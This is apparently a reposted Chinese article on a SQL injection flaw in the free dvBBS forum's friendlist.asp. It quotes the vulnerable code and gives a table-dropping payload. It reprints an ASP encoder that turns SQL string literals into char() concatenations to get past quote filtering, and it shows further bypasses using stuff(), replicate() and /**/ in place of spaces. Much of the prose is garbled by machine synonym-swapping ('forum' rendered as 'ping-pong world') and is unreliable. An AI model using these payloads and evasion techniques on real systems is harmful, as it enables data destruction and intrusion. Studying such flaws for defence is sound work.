大雀软件园

首页 软件下载 安卓市场 苹果市场 电脑游戏 安卓游戏 文章资讯 驱动下载
技术开发 网页设计 图形图象 数据库 网络媒体 网络安全 站长CLUB 操作系统 媒体动画 安卓相关
当前位置: 首页 -> 网络安全 -> 防范措施 -> 免费版dvBBS的另一类漏洞

免费版dvBBS的另一类漏洞

时间: 2021-07-31 作者:daque

乒坛登岸名: n.e.v.e.r提交者邮件地方: n.e.v.e.r@tom.com提交者qq号子: 1143431题目: 免费版dvBBS的另一类漏洞版权:作品属中华安定网http://www.safechina.net和作家共通一切,连载请证明根源!!实质:仍旧有很多大虾给免费版的动网乒坛打过强心剂了,兄弟我创造大概再有一类缺点逃过了大虾们的眼睛,以是出来出丑一下。呵呵,写的急遽,如有缺点之处请教正,我的邮箱是n.e.v.e.r@tom.com。嗯,贸易备案版的dvbbs我看了一下,也有一点题目,然而不太简单运用吧。拿动网乒坛中的friendlist.asp中因变量delfriend()来看,中央有这么一段delid=replace(request.form("id"),"'","")if delid="" or isnull(delid) thenerrmsg=errmsg+"<li>"+"请采用关系参数。"founderr=trueexit subelseconn.execute("delete from friend where f_username='"&trim(membername)&"' and f_id in ("&delid&")")sucmsg=sucmsg+""+"<li><b>您仍旧简略选定的心腹记载。"call dvbbs_suc()end if这个过滤庄重意旨上去说是缺点的,没有'一律的不妨举行sql injection。我想大概是谁人典范的1' or '1'='1隐瞒了很多人的眼睛,那条语句是如许的"select * from user where user='" & user & "' and.........我没有方法把user=反面的'和and前方的'用各别的脸色表白,这边只好用1和2来表白。本来这边展示sql injection不是大略的由于user中不妨展示',而是由于user中展示的'引导了1和2不许依照作家的道理精确的配对。过滤掉user中的'不妨特殊完备的处置这个题目,以是replace(user,"'","")在这边是巧妙而又简练的。然而动网的人错解了佛法,看看这一句有题目的话反面半截是什么:.......f_id in (" & delid & ")"这边要配对的是安排括号!把delid中的'过滤掉是笨拙的,由于这种过滤的本领不许保护作家预期的两个安排括号精确的配对,并且对于歹意报复者简直构不可什么妨碍。咱们看一种大概的报复本领delid=.....);drop table [user];--这个提交不妨逃过过滤,然而实行了sql注入,胜利的话会成功的简略表user。前些日子与南阳岩冰交谈时,我不过想到这种注入的本领不妨窜改少许平头型的数据,厥后翻msdn关系材料的功夫遽然创造本来不必'一律不妨到达运用'的功效。一种本领是运用char因变量和连结符+,我在查问领会器中做的那些考查:select * from sysusers where left(name,2)=char(100)+char(98)这个归来的截止是一切以db发端的体例用户列,也即是说这是同等于底下这个查问的select * from sysusers where left(name,2)='db'我在《动网新缺点和侵犯一则》中贴出过一个encode.asp,即是运用的这种本领,这边再贴出来一次,要赶舆论,以是调得急遽,即使有矫正版请发给我一份======================= cut here =======================<html><body bgcolor=black><font size=2 color=#ff7777>填上sql语句!</font><form action="<%= request.servervariables("url") %>" method="post"><input type=text name="in" size=45 value="" style="color:#0099ff;border-bottom: #0099ff 1px solid; border-left: #0099ff 1px solid; border-right: #0099ff 1px solid; border-top: #0099ff 1px solid; font-size: 9pt;background-color: #000000"><input type=submit value="encode!" style="font-size: 9pt;border-right: 0px solid; border-top: 0px solid; border-left: 0px solid; border-bottom: 0px solid; background-color:#0099ff;color:#ff0000;"></form><font color=#0099ff><%link_char = "+" '字符串贯穿标记是+吗?strin=request("in")strin = strin & "--"strtemp = split(strin,"'")i = 0'on error resume nextdo while not isnull(strtemp(i))if instr(strtemp(i),"--") thenexit doend ifi = i + 2loop'response.write ifor j = 0 to i - 1 step 2strout = strout & strtemp(j)for k = 0 to len(strtemp(j+1))-1strout = strout & "char(" & asc(left(right(strtemp(j+1),len(strtemp(j+1))-k),1))&")" & link_charnextstrout = left(strout, len(strout)-len(link_char))nextif instr(strtemp(i), "--")<>0 thenstrout = strout & left(strtemp(i), instr(strtemp(i), "--") - 1)end ifresponse.write strout%>======================= cut here =======================即使这个场合过滤掉+,仍旧不妨的,然而本领要搀杂很多,这边只给出一个例子啊,仍旧上头那条查问语句,这边连+都不必select * from sysusers where left(name,2)=stuff(replicate(char(100),2), 2, 1, char(98))功效是一律的。再庄重一点,连空格都不必select/**/*/**/from/**/sysusers/**/where/**/left(name,2)=stuff(replicate(char(100),2), 2, 1, char(98))然而这种本领的话,动作sql injection要提交的实质太多了,get办法最多能提交1024字节的实质,很有大概不够,只好用post办法了,固然会烦恼很多。我在尝试的功夫,创造犹如这两种本领只对大略的select/delete/update/insert/exec灵验,当运用openrowset的功夫就堕落了。我还在尝试中,蓄意有大虾引导一下让我少走弯道。写到这边,我想本来剧本出题目,都能归纳到配对题目上吧。sql injection是,跨站剧本报复也是。由于对于跨站剧本报复来说,也不妨觉得是html标签没有精确的配对,然而因为html的文法很随便,常常不须要像sql injection那么确定要精确紧闭前方一句sql查问语句。百般剧本报复的截止都很一致,sql injection截止是不妨自在运用sql查问谈话,跨站剧本报复的截止是不妨自在的运用html。即使把html也觉得是一种谈话的话,还不妨看出,只假如一种谈话动静爆发其余一种谈话,城市有一种新的缺点典型展示,最发端是sql injection——这是vbscript天生sql查问语句功夫展示的,而后是跨站剧本报复——这是vbscript天生html功夫展示的。此后呢?此后我想剧本要出新的典型的题目的话,估量也不会摆脱这个圈子,比方是vbscript爆发xml的功夫,之类。再回顾看动网乒坛,假如她们一发端就不要纠葛于过滤的题目,而是以配对动作评价规范的话,哪会有此刻那些题目呢。 

热门阅览

最新排行

Copyright © 2019-2021 大雀软件园(www.daque.cn) All Rights Reserved.